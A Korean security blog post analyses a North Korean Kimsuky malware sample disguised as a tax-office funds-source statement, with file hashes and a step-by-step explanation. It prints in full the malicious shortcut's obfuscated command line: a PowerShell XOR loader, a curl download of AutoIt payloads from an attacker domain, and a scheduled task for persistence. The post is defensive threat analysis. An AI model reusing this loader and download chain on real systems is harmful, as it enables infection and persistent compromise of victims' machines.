오늘도 북한 김수키(Kimsuky)에서 만든 악성코드인 미신고 자금 출처명세서(찾아가는 법 찾기).zip(2025.6.4)에 대해 알아보겠습니다. 일단 대충 견적을 보면 이메일로 피해자를 담그려고 한 것 같은 느낌이 듭니다.
파일명: 미신고 자금 출처명세서(찾아가는 법 찾기).zip
사이즈:1 MB
MD5:e2328974ecc81be06619bbd06ebfacb4
SHA-1:f1aa607507e97cf2dee3d3059d3b2b1e73e04087
SHA-256:b24b1aa0a95e1c1a594bd8b34877fa156106bc0c41a4022ab7c4d3a9d6edfaa3

압축 파일 내용
첨부2.과세표준수정신고서 및 추가자진납부계산서(국세기본법 시행규칙)
첨부1.취득자금 소명대상 금액의 출처 확인서(국제조세조정에 관한 법률 시행규칙).hwp
미신고 자금출처명세서(부가가치세법 시행규칙).hwp.lnk<-이게 핵심해시
파일명:미신고 자금출처명세서(부가가치세법 시행규칙).hwp.lnk
사이즈:1 MB
MD5:cc72c5bf20e8d5d6efa66dfc1d8efaa4
SHA-1:31bd1480d76972b1727c9ef6953741fd62721fa8
SHA-256:2d516c97e510bbdfb89eae329b88e0bf5557105b8e1f1de91f88f0e944835f15
뭐~대충 보면 hwp 가 디코이인 것 같은 것 알 수가 있습니다.

StringData
{
namestring: Type: HWP 2022 Document
Size: 27 KB
Date modified: 03/23/2025 14:51
relativepath: not present
workingdir: not present
commandlinearguments:
/c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshel
l(.)exe /s /b /od') do call %a "$managing=0;<#App-Poisoning#>$baker='(l)ength';<#App
-Poisoning#>$dates=Get-Location;$crystal=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$c
rystal=$crystal|(w)here-object{$_.$baker -eq 0x0000891F};<#App-Poisoning#>$flexiblen
side(r)=$crystal;<#App-Poisoning#>$crystal=$crystal|Select-Object -ExpandProperty Na
me;<#App-Poisoning#>if([string]::IsNullOrEmpty($crystal)){$managing=1;<#App-Poisoni(n)
g#>$dates=$env:USERPROFILE;<#App-Poisoning#>$dates=$dates+'\appdata\local\te(m)p';<#Ap
p-Poisoning#>$crystal=Get-ChildIt(e)m -Path $dates -Recurse -Filter *.lnk|where-object
{$_.$baker -eq 0x0000891(F)}|ForEach-Object{$_.FullName}|Select-Ob(j)ect -First 1;<#Ap
p-Poisoning#>$flexiblensider=$cryst(a)l};<#App-Poisoning#>$toshiba=$crystal.subst(r)in
g(0,$crystal.length-4);$actual=[System.IO.BinaryReader]::new([System.IO.File]::open($c
rystal,[Syst(e)m.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]
::Read));try{$actual.BaseStream.Seek(0x0000182A,[Sy(s)tem.IO.SeekOrigin]::Begin);$appe
al=$actual.ReadBytes(0x00004800);}finally{$actual.Close()};$copper=0;$outlet=0;$gadget
s=$a(p)peal.count;while ($copper -lt $gadgets){$period=0x01;$outlet=$copper-[math(])::
Floor($copper/$period)*$per(i)od;$preview=0x7F+$outlet;$appeal[$copper]=$appeal[$coppe
r] -bxor $preview;$copper++};[Syste(m).IO.File]::WriteAllBytes($toshiba,$appeal);if($m
anaging -eq 1){$blocks=$toshiba}else{$blocks='.\'+$toshiba};& ($)blocks;remove-item -p
ath $flexiblensider -force;"&VGnNWAKjlxZpgiwvLDqrzQYmfRPMbCsJFduekUatX||c()d /d C:\Use
rs\Public\Videos & copy c:\windows\system32\curl(.)exe pJHUsvn.exe & copy c:\windows\s
ystem32\schtasks(.)exe pJHUsvn1.exe & pJHUsvn -k -o AutoIt3(.)exe hxxps://thegreatrati
ngs(.)com/wp-admin/js/widgets/hurryup/?rv=bear^&z(a)=battle0 & pJHUsv(n) -k -o CfjiFUW
.cdr hxxps://thegreatratings(.)com/wp-admin/js/widgets/hurryup/?rv=bear^&z(a)=battle1
& pJHUsv(n)1 /delete /tn "CfjiFUW" /f & pJHUsvn1 /create /sc mi(n)ute /mo 1 /tn "CfjiF
UW" /tr "C:\Users\Public\Videos\AutoIt3(.)exe C:\Users\Public\Videos\Cfj(i)FUW(.)cdr"
iconlocation: .hwp
}
악성코드 분석
명령어는 총 2가지
1.PowerShell 기반 악성 행위 수행 (파일 탐색, 디코딩, 실행, 삭제)
2. 네트워크 기반 페이로드 다운로드 및 예약 작업 생성
1. 첫 번째 명령어 분석 사전 배치된 rshell.exe 실행
C:\Windows\SysWow64\WindowsPowerShell\v1.0 디렉터리 내에서 rshell.exe 를 존재하는지 확인 찾아낸 파워셸을 이용해 길고 난독화된 스크립트를 실행
/od 옵션으로 파일을 날짜순으로 정렬하고 이는 특정 버전의 파워셸을 대상을 하기 위한 목적 /s /b는 하위 폴더까지 검색하여 전체 경로만 출력하게 함
powershell.exe를 우회하거나 탐지 피하기 위한 목적
do call %a ... 를 통해 이후에 설명할 복잡한 PowerShell 스크립트를 진행

2.PowerShell 내부 코드
.lnk (바로가기 파일) 검색 및 필터링
.lnk 파일들을 검색하고 특정 속성 (length == 0x000(0)891F) 을 조건을 만족하는 파일만 필터링
$baker = length 로 설정되어 있으므로 파일의 길이/속성 기준으로 필터링
.lnk 파일은 공격자가 데이터 은닉을 하려고 사용(즉 .lnk 파일 내부에 셸 코드 숨겨져 있음)
해당 값 0x000(0)891F (10진수로 35007)는 공격자가 임의로 정한 파일 마커
우회적 디코딩 경로 설정
.lnk 파일을 찾지 못하면 사용자 TEMP 폴더에서 재검색
.lnk 파일을 바이너리로 열고 오프셋 0x182A (6194)부터 0x4800 (18432) 바이트 읽어들임

해당 영역은 쉘코드 혹은 악성 PE 파일 일부
XOR 연산으로 바이트들을 복호화->사용된 XOR 키는 간단하지만 고정되지 않으며 0x7F + ($index mod 1)->0x7F
복호화한 페이로드 저장 및 실행
복호화된 내용을 새로운 파일로 저장
저장한 파일 ($toshiba) 를 실행
실행을 한 후 lnk 파일은 삭제
2. 외부 서버로부터 AutoIt 기반 페이로드 다운로드
curl.exe를 복사하여 이름을 pJHUsvn.exe로 변경해서 AV(안티바이러스)에 탐지 우회 목적
두 개의 파일 다운로드:
AutoIt3.exe
CfjiFUW.cdr

3.예약 작업 생성 (Persistence)
계속 작업을 하려고 윈도우 스케줄러에 등록해서 1분마다 실행되는 예약 작업 생성을 하며 AutoIt 인터프리터로 악성 스크립트를 반복 실행
추가로 계속 악의적인 목적을 주기적으로 실행하도록 설정하기 위함
여기서 자금출처명세서 이라는 hwp 파일을 볼 수가 있으며 해외반출되는 국내재산의 자금출처와 관련된 국세의 신고·납부 여부 및 체납된 국세의 납부 여부 등을 확인하여 국세 징수·예금압류 등 필요한 조처를 한 후 자금출처확인서를 발급하여 세금부담 없는 부당한 재산유출 방지이란 목적이 있는 자금출처명세서을 보여 줍니다.
대충 국세청인 것처럼 파일을 보내지 않았을까? 생각이 들기도 합니다.
사용자의 임시 폴더 (C:\Users\<사용자이름>\AppData\Local\Temp)
C:\Users\Public\Videos (공용 비디오 폴더) 에 잘 저장이 된 것을 확인할 수가 있습니다.

악성 도메인
66(.)96(.)162(.)245
2023-06-04 10:03:55부터 잘 사용을 하고 있습니다.
뭐~인증서는 Let's Encrypt 이고 구글 세이프 브라우징은 차단을 못 하고 믿었던 Emsisoft Browser Security도 차단을 못 하지만 노턴 시만텍 Safe Web은 차단하고 막고 있으니 한숨을 놓음
일단 해당 사이트는 살아있으니 제발 차단좀….
오늘도 우리 북한 김수키(Kimsuky)에서 언제나 우겨 먹고 사골국이 된 국세청 사칭 자금출처명세서를 악용한 악성코드에 대해 글을 적어 보았고 기본적으로 자신의 백신 프로그램은 좀 좋은 것 사용하는 습관을 그것도 AV 테스트에서 검증된 제품을….
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
| 파이어폭스 140 (Firefox 140) 보안 업데이트 (0) | 2025.06.27 |
|---|---|
| 탈북자 분들을 노리는 북한 해킹 단체 APT37(Reaper)에 만든 악성코드-김x민대표님모금캠페인.lnk(2024.10.31) (0) | 2025.06.27 |
| WinRAR CVE-2025-6218 디렉토리 트렉버설 취약점 해결 (0) | 2025.06.26 |
| 해킹을 통한 ClickFix(클릭픽스)공격 을 통한 컴퓨터 악성코드 감염(2025.6.23) (0) | 2025.06.26 |
| 김수키(Kimsuky)으로 추정이 되는 국민비서 경찰청 고지 안내 피싱 메일(2025.4.9) (0) | 2025.06.19 |
| 김수키(Kimsuky)만든 허위 권리보호 작성하신 게시물이 게시중단 되어 안내 말씀 드립니다.피싱 메일 분석(2025.4.1) (0) | 2025.06.16 |
| 윈도우 11 KB5060842,KB5060999 윈도우 10 KB5060533 누적 업데이트 및 보안 업데이트 (0) | 2025.06.14 |
| myTOKYOGAS 사칭 피싱메일 분석-【myTOKYOGAS】ご請求料金確定のお知らせ(自動配信メール)(2025.6.4) (0) | 2025.06.12 |





